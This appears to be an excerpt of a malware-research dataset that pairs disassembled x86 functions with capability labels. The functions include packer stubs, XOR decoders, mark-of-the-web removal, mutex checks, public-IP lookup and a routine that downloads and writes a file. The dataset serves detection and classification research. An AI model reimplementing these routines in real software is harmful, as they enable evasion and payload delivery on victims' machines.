joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003c521
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.1003c49d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x1003c690
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x1003c690
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x1003c645
jg 0x1003c57d
test eax, eax
je 0x1003c63b
push 1
push 0x1000
call fcn.1002d1b0
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x1003c5a0
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1003c632
push 0x8000
push ebx
call fcn.1003c3ce
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x1003c5c9
jg 0x1003c5c4
cmp ecx, 0x1000
jb 0x1003c5c9
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.1002de13
add esp, 0x10
cmp eax, 0xffffffff
je 0x1003c60e
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x1003c5c4
jl 0x1003c5f5
test ecx, ecx
jne 0x1003c5b6
push dword [ebp - 0xc]
push ebx
call fcn.1003c3ce
push esi
call fcn.1002e85a
add esp, 0xc
xor ebx, ebx
jmp 0x1003c69e
cmp byte [edi + 0x24], 0
je 0x1003c625
cmp dword [edi + 0x20], 5
jne 0x1003c625
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x1003c630
mov ebx, dword [edi + 0x18]
jmp 0x1003c632
xor ebx, ebx
push esi
call fcn.1002e85a
pop ecx
jmp 0x1003c69e
test ecx, ecx
jg 0x1003c607
jl 0x1003c645
test eax, eax
jae 0x1003c607
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.10032f98
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1003c665
cmp byte [edi + 0x1c], 0
je 0x1003c607
jmp 0x1003c696
push ebx
call fcn.10035c8f
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1003c607
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1003c69e
cmp byte [edi + 0x1c], 0
je 0x1003c69b
mov ebx, dword [edi + 0x18]
jmp 0x1003c69e
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.10032f98
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1003e360
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1003e38d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1003e38d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x890620
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xef000]
push edi
jmp 0x89063a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x890641
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x890630
mov eax, 1
add ebx, ebx
jne 0x890653
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x890664
jne 0x890683
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x890683
dec eax
add ebx, ebx
jne 0x890670
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x890648
add ebx, ebx
jne 0x89067f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x8906d5
xor ecx, ecx
sub eax, 3
jb 0x89069b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x89070a
sar eax, 1
mov ebp, eax
jmp 0x8906a6
add ebx, ebx
jne 0x8906a6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x890674
inc ecx
add ebx, ebx
jne 0x8906b4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x890674
add ebx, ebx
jne 0x8906c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x8906b6
jne 0x8906d2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x8906b6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x8906f4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x8906e6
jmp 0x890636
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x8906f4
add edi, ecx
jmp 0x890636
pop esi
mov edi, esi
mov ecx, 0x3b28
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x890712
cmp byte [edi], 0x1e
jne 0x890712
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x890717
lea edi, [esi + 0x43d000]
mov eax, dword [edi]
or eax, eax
je 0x89078f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x491b34]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x491c38]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x890744
mov ecx, edi
jns 0x890773
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x491c3c]
or eax, eax
je 0x890789
mov dword [ebx], eax
add ebx, 4
jmp 0x890761
call dword [esi + 0x491c4c]
mov ebp, dword [esi + 0x491c40]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x247]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x8907c3
sub esp, 0xffffff80
jmp 0x491cb5
Function at 0x401450
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0xf
mov ecx, dword [ebp + 8]
push ecx
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
jne 0x4014c4
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x18]
push eax
call fcn.004018f0
add esp, 4
mov ecx, dword [ebp + 0xc]
mov dword [ecx + 4], eax
cmp dword [ebp + 0xc], 0
je 0x4014b9
mov edx, 2
mov eax, dword [ebp + 0xc]
mov word [eax], dx
push 0x19
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [ebp + 0xc]
mov word [ecx + 2], ax
mov dword [ebp - 8], 1
push 1
mov edx, dword [ebp - 4]
push edx
call sub.DNSAPI.dll_DnsFree
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x4014d0
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push 0
push 0
push 0
push 0
push 0x404210
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
je 0x40158a
push 0
push 0
push 0
push 0
push str.http:__icanhazip.com_
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
je 0x40157e
lea ecx, [ebp - 0x6c]
push ecx
push 0x63
lea edx, [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x68]
test ecx, ecx
je 0x40157e
push 0x40429c
lea edx, [ebp - 0x68]
push edx
call fcn.004015b0
add esp, 8
test eax, eax
je 0x40156b
lea eax, [ebp - 0x68]
push eax
call fcn.004018b0
add esp, 4
lea ecx, [ebp - 0x68]
push ecx
push str.__s_
push 0x406058
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x40157e
push 0x4042a8
push 0x406058
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov edx, dword [ebp - 0x70]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40159d
push str._0.0.0.0_
push 0x406058
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x406058
mov esp, ebp
pop ebp
ret

Function at 0x401610
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
je 0x40161f
cmp dword [ebp + 0x10], 0
jne 0x401623
xor eax, eax
jmp 0x40165f
push 0x7530
mov eax, dword [ebp + 8]
push eax
call fcn.004016e0
add esp, 8
test eax, eax
jne 0x401641
mov dword [ebp + 0x10], 0
jmp 0x40165c
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp + 0x10], eax
xor ecx, ecx
jne 0x401623
mov eax, dword [ebp + 0x10]
pop ebp
ret
Function at 0x4016e0
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x11c], 0
jmp 0x40170e
mov eax, dword [ebp - 0x11c]
add eax, 1
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0x11c]
cmp ecx, dword [ebp - 0x118]
jae 0x401732
mov edx, dword [ebp - 0x11c]
mov eax, dword [ebp + edx*4 - 0x114]
cmp eax, dword [ebp + 8]
jne 0x401730
jmp 0x401732
jmp 0x4016ff
mov ecx, dword [ebp - 0x11c]
cmp ecx, dword [ebp - 0x118]
jne 0x401768
cmp dword [ebp - 0x118], 0x40
jae 0x401768
mov edx, dword [ebp - 0x11c]
mov eax, dword [ebp + 8]
mov dword [ebp + edx*4 - 0x114], eax
mov ecx, dword [ebp - 0x118]
add ecx, 1
mov dword [ebp - 0x118], ecx
xor edx, edx
jne 0x4016f3
lea eax, [ebp - 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
cdq
mov ecx, 0x3e8
idiv ecx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
cdq
mov ecx, 0x3e8
idiv ecx
imul edx, edx, 0x3e8
mov dword [ebp - 8], edx
cmp dword [ebp + 0xc], 0xffffffff
jne 0x4017a1
mov dword [ebp - 4], 0
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x118]
push eax
push 0
lea ecx, [ebp - 0x118]
push ecx
mov edx, dword [ebp + 8]
add edx, 1
push edx
call dword [sym.imp.WS2_32.dll_select]
xor ecx, ecx
test eax, eax
setg cl
mov eax, ecx
mov esp, ebp
pop ebp
ret

Function at 0x4018f0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40192f
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401922
xor eax, eax
jmp 0x401932
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x401b90
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push eax
call fcn.004018f0
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401bb0
or eax, 0xffffffff
jmp 0x401c0b
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x14], ecx
mov edx, 2
mov word [ebp - 0x18], dx
movzx eax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16], ax
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x401bea
mov eax, 0xfffffffe
jmp 0x401c0b
push 0x10
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401c08
mov eax, 0xfffffffd
jmp 0x401c0b
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x401c10
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0xf
push str.yahoo.com
call sub.DNSAPI.dll_DnsQuery_A
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401c6f
push 0x19
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x18]
push edx
call fcn.00401b90
add esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x401c6f
push 1
mov eax, dword [ebp - 4]
push eax
call sub.DNSAPI.dll_DnsFree
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov al, 1
jmp 0x401c7c
push 1
mov edx, dword [ebp - 4]
push edx
call sub.DNSAPI.dll_DnsFree
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x401c80
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0xc]
push eax
push 4
call fcn.004017d0
add esp, 8
push eax
push 0x404388
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCR90.dll_sprintf
add esp, 0xc
push 0
lea edx, [ebp - 0x10]
push edx
push 0
push 0
push 1
mov eax, dword [ebp + 8]
push eax
call sub.DNSAPI.dll_DnsQuery_A
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401ccd
jmp 0x401ce2
push 1
mov ecx, dword [ebp - 0x10]
push ecx
call sub.DNSAPI.dll_DnsFree
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401c8d
push 1
mov edx, dword [ebp - 0x10]
push edx
call sub.DNSAPI.dll_DnsFree
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x401d00
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x400
push 0
push 0x406120
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_96.0.4664.110_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401df3
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401de9
movzx edx, byte [ebp + 8]
cmp edx, 1
jne 0x401dd1
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x401dcf
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x406120
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401dc5
cmp dword [ebp - 0x10], 0
je 0x401dc5
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0x406120
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401d88
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401de9
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x406120
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x406120
mov esp, ebp
pop ebp
ret
Function at 0x403030
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Delete file
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6b4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.5060
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x6b4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40306e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x20c], 0
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x208]
push ecx
push str._s:Zone.Identifier
lea edx, [ebp - 0x520]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x6b0]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00401c10
movzx edx, al
test edx, edx
jne 0x4030e6
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
push 0
lea eax, [ebp - 0x318]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x406018
call fcn.004013b0
add esp, 4
push eax
push 0x404fc0
lea ecx, [ebp - 0x318]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
lea edx, [ebp - 0x318]
push edx
push 0x402be0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
test eax, eax
je 0x40314f
push 0xcdfe600
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403139
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x818058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x8181a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x81807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x81806a
add dl, dl
jne 0x818089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8180dc
xor eax, eax
add dl, dl
jne 0x818096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x81817d
add dl, dl
jne 0x8180a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8180b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8180bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8180c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8180d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x818075
mov eax, 1
add dl, dl
jne 0x8180ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8180f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8180e1
sub eax, ebx
mov ebx, 1
jne 0x818128
mov ecx, 1
add dl, dl
jne 0x81810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x818119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x818105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x818075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x81813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x81814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x818136
cmp eax, 0x7d00
jae 0x81816d
cmp eax, 0x500
jb 0x818168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x818075
cmp eax, 0x7f
ja 0x818170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x818075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x81819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x818075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403cf8
nop
sub eax, 0x403c9e
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0xb0c4f8
Capabilities:
Encode data using xor

Disassembly:
jmp 0xb0c502
pushal
call 0xb0c508
pop ebp
sub ebp, 0x10
sub ebp, 0x70c4f8
jmp 0xb0c51e
mov eax, 0x70c4f8
add eax, ebp
add eax, 0x4c
mov ecx, 0x610
mov edx, 0xc8be19d
xor byte [eax], dl
inc eax
dec ecx
jne 0xb0c535
jmp 0xb0c548
push ss
push eax
push ss
adc al, 0xa1
popfd
popfd
popfd
sbb al, 0x5c
popfd
popfd
popfd
sahf
push eax
and eax, 0x9d9d9d99
daa
mov ch, 0x9d
popfd
popfd
push 0x7f
sahf
push ebp
push ss
sbb al, 0x91
popfd
popfd
popfd
sahf
pop eax
adc cl, bh
mov ecx, 0xb9991461
adc cl, bh
mov ecx, 0xb9991461
cmc
or eax, 0xf59d932f
sti
invalid
Function at 0x40375c
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x403785
cmp al, 0x22
je 0x40377d
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x403771
cmp byte [esi], 0x22
jne 0x40378f
inc esi
jmp 0x40378f
cmp al, 0x20
jle 0x40378f
inc esi
cmp byte [esi], 0x20
jg 0x403789
mov al, byte [esi]
test al, al
je 0x403799
cmp al, 0x20
jle 0x403782
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00403807
push 0x405004
push section..data
call fcn.004037ed
test byte [ebp - 0x18], 1
pop ecx
pop ecx
je 0x4037c9
movzx eax, word [ebp - 0x14]
jmp 0x4037cc
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov esi, eax
call fcn.0040381f
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x429703
Capabilities:
Resolve function by parsing pe exports

Disassembly:
not edx
not edx
mov eax, 0
cld
clc
nop
cld
not ebp
not ebp
cld
dec esp
inc esp
cld
push eax
nop
sahf
wait
mov ch, ch
not dh
not dh
imul eax, eax, 0x10
stc
xchg dword [esp], eax
jmp 0x4295b6
add al, dl
lea edx, [edx + ebx]
sub cl, 0x31
push dword [edx + 0x20]
pop esi
lea esi, [ebx + esi]
jmp 0x42972c
cmp dh, 0x94
add esi, ebx
clc
ret 4
sahf
cmc
sub dword [esp], eax
cld
movzx eax, byte [edi]
sub edi, 0xffffffff
jmp 0x4297b3
mov edi, dword [edx + 0x1c]
cmp eax, 0xffffffa2
not eax
adc eax, 0xe68ae329
mov eax, 0x334a8761
cmp ah, 2
mov esi, dword [edx + 0x24]
dec dh
cld
add esi, ebx
xchg edx, edx
movzx eax, word [esi + ecx*2]
jmp 0x429671
mov dl, dh
add edi, ebx
mov esi, dword [edi + eax*4]
jmp 0x4295ad
lea ecx, [ecx]
not esi
not esi
not bl
not bl
jne 0x4250d3
xchg edx, edx
xchg edx, edx
lea ecx, [ecx]
xor eax, 0x69521502
jmp 0x4298e8
ret
push dword [ebx + 0x3c]
mov edx, ecx
cmp cl, 0xb8
xchg ecx, edi
xchg ecx, esi
nop
lahf
cld
sbb al, bl
pop eax
mov edi, ecx
mov edx, dword [eax + ebx + 0x78]
jmp 0x4294cc
add ecx, 1
cmp edi, 0xffffffa9
lodsd eax, dword [esi]
jmp 0x42979e
push 0xffffffffffffffff
xchg ah, al
cmp ah, dl
xchg edi, edi
not al
mov edi, esi
and al, dh
pop ecx
jmp 0x429720
lea edi, [eax + ebx]
xchg edx, ebp
xchg edx, ebp
cmp ecx, dword [edx + 0x18]
je 0x429700
jmp 0x4250be
sub dword [esp], eax
pop eax
test byte [edi], 0xff
jmp 0x429697
nop
sub eax, dword [esp + 4]
jne 0x429720
jmp 0x429617